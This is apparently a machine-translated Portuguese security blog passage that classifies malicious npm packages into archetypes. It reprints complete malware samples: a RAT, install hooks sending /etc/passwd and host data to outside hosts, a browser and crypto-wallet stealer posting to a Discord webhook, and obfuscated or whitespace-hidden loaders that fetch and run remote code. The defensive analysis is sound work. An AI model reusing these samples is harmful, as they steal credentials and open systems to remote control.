process.chdir(__dirname)
M.currentDirectory = process.cwd()
} else {
if (N.startsWith('ss_fcd')) {
const U = N.split(':')
if (U.length < 2) {
O = 'Command is missing ":" separator or parameters'
} else {
const V = U[1]
process.chdir(V)
M.currentDirectory = process.cwd()
}
} else {
if (N.startsWith('ss_stop')) {
M.stopKey = true
} else {
try {
const W = {
cwd: M.currentDirectory,
windowsHide: true,
}
const X = W
if (u) {
try {
const Y = f.join(
process.env.LOCALAPPDATA ||
f.join(d.homedir(), 'AppData', 'Local'),
'Programs\\Python\\Python3127'
),
Z = { ...process.env }
Z.PATH = Y + ';' + process.env.PATH
X.env = Z
} catch (a0) {}
}
h.exec(N, X, (a1, a2, a3) => {
let a4 = '\n'
a1 && (a4 += 'Error executing command: ' + a1.message)
a3 && (a4 += 'Stderr: ' + a3)
a4 += a2
a4 += M.currentDirectory + '> '
r.emit('response', a4, L)
})
} catch (a1) {
O = 'Error executing command: ' + a1.message
}
}
}
}
}
}
O += M.currentDirectory + '> '
r.emit('response', O, L)
}
}
function H() {
s = z()
A(s)
}
H()
})()
Temos um RAT (Trojan de Acesso Remoto) nas nossas mãos. Aqui está uma visão geral do mesmo:
Visão geral do comportamento
O guião estabelece um canal de comunicação secreto com um comando e controlo (C2) servidor utilizando cliente socket.io
enquanto a exfiltração de ficheiros é feita através de áxis
para um segundo ponto de extremidade HTTP. Instala dinamicamente estes módulos se estiverem em falta, ocultando-os numa .node_modules
no diretório pessoal do utilizador.
Infraestrutura C2
- Comunicação de sockets:
http://85.239.62[.]36:3306
- Ponto final de carregamento de ficheiros:
http://85.239.62[.]36:27017/u/f
Uma vez ligado, o cliente envia o seu ID único (nome do anfitrião + nome de utilizador), tipo de SO e ID do processo para o servidor.
Capacidades
Segue-se uma lista de capacidades (comandos) que o RAT suporta.
| Command | Purpose |
| --------------- | ------------------------------------------------------------- |
| cd | Change current working directory |
| ss_dir | Reset directory to script’s path |
| ss_fcd:<path> | Force change directory to <path> |
| ss_upf:f,d | Upload single file f to destination d |
| ss_upd:d,dest | Upload all files under directory d to destination dest |
| ss_stop | Sets a stop flag to interrupt current upload process |
| Any other input | Treated as a shell command, executed via child_process.exec() |
Backdoor: Python3127 PATH Hijack
Uma das caraterísticas mais subtis deste RAT é a utilização de um PATH hijack específico do Windows, destinado a executar silenciosamente binários maliciosos sob o disfarce de ferramentas Python.
O script constrói e anexa o seguinte caminho ao PADRÃO
variável de ambiente antes de executar comandos da shell:
%LOCALAPPDATA%\Programas\Python\Python3127
Ao injetar este diretório no início do PADRÃO
qualquer comando que dependa de executáveis resolvidos pelo ambiente (por exemplo, pitão
, pip,
etc.) podem ser silenciosamente sequestrados. Isto é particularmente eficaz em sistemas onde já se espera que o Python esteja disponível.
const Y = path.join(
process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),
'Programs\\Python\\\Python3127'
)
env.PATH = Y + ';' + process.env.PATH
Indicadores de compromisso
Neste momento, os únicos indicadores que temos são as versões maliciosas, que são:
- 2.0.84
- 1.0.110
- 2.0.83
| Uso | Ponto de extremidade | Protocolo/Método |
| ------------------ | ------------------------------- | -------------------------- |
| Socket Connection | http://85.239.62[.]36:3306 | socket.io-client |
| File Upload Target | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |
Se instalou algum destes pacotes, pode verificar se comunicou com o C2
.png)
O guia de encontros de malware: Compreender os tipos de malware no NPM
O Nó O ecossistema é construído sobre uma base de confiança - confiança de que os pacotes que npm install
estão a fazer o que dizem que fazem. Mas essa confiança é muitas vezes mal depositada.
Durante o ano passado, vimos uma tendência perturbadora: um número crescente de pacotes maliciosos publicados no npm, muitas vezes escondidos à vista de todos. Alguns são provas de conceito (PoCs) feitas por pesquisadores, outros são backdoors cuidadosamente criados. Alguns fingem ser bibliotecas legítimas, outros exfiltram dados mesmo debaixo do seu nariz usando ofuscação ou truques de formatação inteligentes.
Este artigo analisa vários pacotes maliciosos do mundo real que analisámos. Cada um deles representa um arquétipo distinto de técnica de ataque que vemos na natureza. Quer seja um programador, um red teamer ou um engenheiro de segurança, estes padrões devem estar no seu radar.
O PoC

Muitos dos pacotes que vemos são de pesquisadores de segurança que não fazem nenhuma tentativa real de serem furtivos. Eles estão simplesmente a tentar provar algo, muitas vezes como parte da caça aos bugs. Isso significa que seus pacotes são geralmente muito simples, muitas vezes não contendo código. Eles dependem puramente de um "gancho de ciclo de vida" que os pacotes podem usar, seja na pré-instalação, instalação ou pós-instalação. Esses hooks são comandos simples executados pelo gerenciador de pacotes durante a instalação.
Exemplo: local_editor_top
Segue-se um exemplo do pacote local_editor_top
, que é um pacote que detectámos devido ao seu hook de pré-instalação que coloca o /etc/passwd
para um ponto de extremidade do Burp Suite Collaborator com o nome do host prefixado.
{
"name": "local_editor_top",
"version": "10.7.2",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
},
"author": "",
"license": "ISC"
}
Exemplo: ccf-identidade
Alguns investigadores vão um pouco mais longe e chamam um ficheiro dentro do pacote ccf-identidade
para extrair dados. Por exemplo, detectámos o pacote, observámos um gancho de ciclo de vida e um ficheiro javascript com muitos indicadores de ambiente de exfiltração:
{
"name": "ccf-identity",
"version": "2.0.2",
"main": "index.js",
"typings": "dist/index",
"license": "MIT",
"author": "Microsoft",
"type": "module",
"repository": {
"type": "git",
"url": "https://github.com/Azure/ccf-identity"
},
"scripts": {
"preinstall": "node index.js",
...
},
"devDependencies": {
...
},
"dependencies": {
"@microsoft/ccf-app": "5.0.13",
...
}
}
Como se pode ver, ele chamará o ficheiro index.js
antes do início do processo de instalação do pacote. Abaixo está o conteúdo do ficheiro.
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
Estas provas de conceito vão bastante longe na recolha de muitas informações, incluindo também, muitas vezes, informações sobre adaptadores de rede!
O impostor

Se estiver atento, deve ter reparado que o exemplo anterior parecia indicar que se tratava de um pacote da Microsoft. Reparou? Não se preocupe, não é de facto um pacote da Microsoft! Pelo contrário, é também um exemplo do nosso segundo arquétipo: O Impostor.
Um ótimo exemplo disto é o pacote pedidos-promessas
. Vejamos o seu package.json
ficheiro:
{
"name": "requests-promises",
"version": "4.2.1",
"description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
"keywords": [
...
],
"main": "./lib/rp.js",
"scripts": {
...
"postinstall": "node lib/rq.js"
},
"repository": {
"type": "git",
"url": "git+https://github.com/request/request-promise.git"
},
"author": "Nicolai Kamenzky (https://github.com/analog-nico)",
"license": "ISC",
"bugs": {
"url": "https://github.com/request/request-promise/issues"
},
"homepage": "https://github.com/request/request-promise#readme",
"engines": {
"node": ">=0.10.0"
},
"dependencies": {
"request-promise-core": "1.1.4",
"bluebird": "^3.5.0",
"stealthy-require": "^1.1.1",
"tough-cookie": "^2.3.3"
},
"peerDependencies": {
"request": "^2.34"
},
"devDependencies": {
...
}
}
Vai reparar em algo interessante. À partida, parece uma embalagem verdadeira, mas há duas grandes pistas de que algo não está bem:
- As referências do Github mencionam
pedido-promessa
ou seja, no singular. O nome do pacote está no plural. - Há um gancho pós-instalação para um ficheiro chamado
lib/rq.js
.
De resto, o pacote parece legítimo. Ele tem o código esperado do pacote em lib/rp.js
(Note-se a diferença entre rp.js
e rq.js
). Vejamos então este ficheiro extra, lib/rq.js
.
const cp = require('child_process');
const {
exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
URL
} = require('url');
function createZipFile(source, dest) {
return new Promise((resolve, reject) => {
const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
exec(command, (error, stdout, stderr) => {
if (error) {
//console.log(error,stdout,stderr)
reject(error);
} else {
//console.log(error,stdout,stderr)
resolve(stdout);
}
});
});
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
try {
const fileData = fs.readFileSync(filePath);
const formData = new FormData();
formData.append('file', new Blob([fileData]), fileName);
formData.append('content', process.env.USERDOMAIN);
const response = await fetch(wu, {
method: 'POST',
body: formData,
});
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
//console.log('Running Test(s) +1');
} catch (error) {
console.error('Error :', error);
} finally {
try {
cp.execSync('cmd /C del "' + filePath + '"');
} catch {}
}
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('exo', nayme)
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
const datapath = DataPaths[i];
if (fs.existsSync(datapath)) {
const dirs = fs.readdirSync(datapath);
const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
profiles.push('Default');
for (const profile of profiles) {
if (typeof profile == "string") {
const dir = datapath + '\\' + profile + '\\' + folderName;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('okok')
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}
}
}
}
Não se deixe enganar pelo facto de o código ter uma função chamada makelove
. É imediatamente óbvio que este código irá procurar caches de browser e carteiras criptográficas, que enviará para o endpoint que está codificado em base64. Quando descodificado, revela um webhook do Discord.
https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP
Afinal, não é assim tão amoroso.
O ofuscador

Um truque clássico para evitar a deteção é utilizar a ofuscação. A boa notícia para um defensor é que a ofuscação é realmente ruidoso, sobressai como um polegar dorido e é trivial de ultrapassar na maior parte das vezes. Um exemplo disto é o pacote frango é bom
. Olhando para o ficheiro index.js
vemos que está claramente ofuscado.
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})
Já podemos ver que menciona coisas como checkVirtualMachine
, checkUptime
, isHostnameValid
e outros nomes que levantam suspeitas. Mas para confirmar totalmente o que está a fazer, podemos passá-lo por desobfuscadores/descodificadores disponíveis publicamente. E, de repente, obtemos algo um pouco mais legível.
var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
_0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
_0x8ed1x4(null, true);
} else {
_0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
}
})[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
_0x8ed1x4(_0x8ed1x5);
});
}
function checkCPUCores(_0x8ed1x8) {
const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
if (_0x8ed1x9 < _0x8ed1x8) {
return false;
} else {
return true;
}
}
function checkMemory(_0x8ed1xb) {
const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
return false;
} else {
return true;
}
}
function checkUptime(_0x8ed1xf) {
const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
const _0x8ed1x13 = /^08:00:27/;
const _0x8ed1x14 = /^00:03:ff/;
const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
const _0x8ed1x16 = os[__Ox12553a[0xd]]();
const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
_0x8ed1x19
}) => {
return !_0x8ed1x19;
})[__Ox12553a[0xf]](({
_0x8ed1x18
}) => {
return _0x8ed1x18;
})[__Ox12553a[0xe]](Boolean);
for (const _0x8ed1x18 of _0x8ed1x17) {
if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
}) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
})) {
console[__Ox12553a[0x15]](__Ox12553a[0x14]);
return true;
}
}
;
return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
const _0x8ed1x1d = os[__Ox12553a[0x18]]();
for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
return false;
}
}
;
return true;
}
function startApp() {
checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
if (!_0x8ed1x5 && _0x8ed1x20) {} else {
if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
process[__Ox12553a[0x1c]](1);
} else {
process[__Ox12553a[0x1c]](1);
}
}
});
if (!checkMemory(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkCPUCores(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkUptime(3600000)) {
process[__Ox12553a[0x1c]](1);
}
;
if (checkVirtualMachine()) {
process[__Ox12553a[0x1c]](1);
}
;
if (isHostnameValid() === false) {
process[__Ox12553a[0x1c]](1);
}
;
const _0x8ed1x21 = {
hostname: __Ox12553a[0x1d],
port: 8443,
path: __Ox12553a[0x1e],
method: __Ox12553a[0x1f]
};
const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
let _0x8ed1x23 = __Ox12553a[0x6];
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
_0x8ed1x23 += _0x8ed1x24;
});
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
eval(_0x8ed1x23);
});
});
_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
_0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
_0x8ed1x2b = __Ox12553a[0x23];
_0x8ed1x29 = function (_0x8ed1x2c) {
if (typeof alert !== _0x8ed1x2b) {
alert(_0x8ed1x2c);
}
;
if (typeof console !== _0x8ed1x2b) {
console[__Ox12553a[0x24]](_0x8ed1x2c);
}
};
_0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
return _0x8ed1x2d + _0x8ed1x26;
};
_0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
try {
_0x8ed1x26 = 'jsjiami.com';
if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
_0x8ed1x29(_0x8ed1x2a);
}
} catch (e) {
_0x8ed1x29(_0x8ed1x2a);
}
})({});
É evidente que está a recolher muitas informações sobre o sistema e que, a dada altura, irá enviar um pedido HTTP. Também parece que irá executar código arbitrário devido à presença do eval() dentro dos callbacks de um pedido HTTP, demonstrando um comportamento malicioso.
O Trapaceiro

Por vezes, também vemos pacotes que tentam esconder-se de forma muito sorrateira. Não é que eles tentem se esconder através de ofuscação para tornar a lógica difícil de entender. Eles apenas tornam difícil para um humano ver se ele não está prestando atenção.
Um exemplo disso é o pacote htps-curl
. Aqui está o código visto do site oficial do npm:

Parece inocente à primeira vista, certo? Mas reparaste na barra de deslocamento horizontal? Está a tentar esconder a sua verdadeira carga útil com espaços em branco! Aqui está o código real se o embelezarmos um pouco.
console.log('Installed');
try {
new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}
Aha! Há uma carga escondida. Tem um blob codificado em base64, que é descodificado, transformado numa função e depois chamado. Aqui está o payload descodificado e embelezado.
const {
spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
const t = path.join(process.env.TEMP, `Realktek.exe`),
ws = new WebSocket("wss://frerea[.]com");
ws.on("open", () => {
ws.send(JSON.stringify({
command: "realtek"
}))
});
ws.on("message", m => {
try {
const r = JSON.parse(m);
if (r.type === "realtek" && r.data) {
const b = Buffer.from(r.data, "base64");
fs.writeFileSync(t, b);
spawn("cmd", ["/c", t], {
detached: true,
stdio: "ignore"
}).unref()
}
} catch (e) {
console.error("Error processing WebSocket message:", e)
}
})
})();
Aqui, vemos que o payload se conecta a um servidor remoto através de websocket e envia uma mensagem. A resposta é então decodificada em base64, salva no disco e executada.
O ajudante demasiado prestável

O último arquétipo é o de uma biblioteca que é útil, mas talvez demasiado útil para o seu próprio bem. O exemplo que vamos utilizar aqui é registador de consolidação
pacote. Como sempre, começamos a olhar para o package.json
ficheiro.
{
"name": "consolidate-logger",
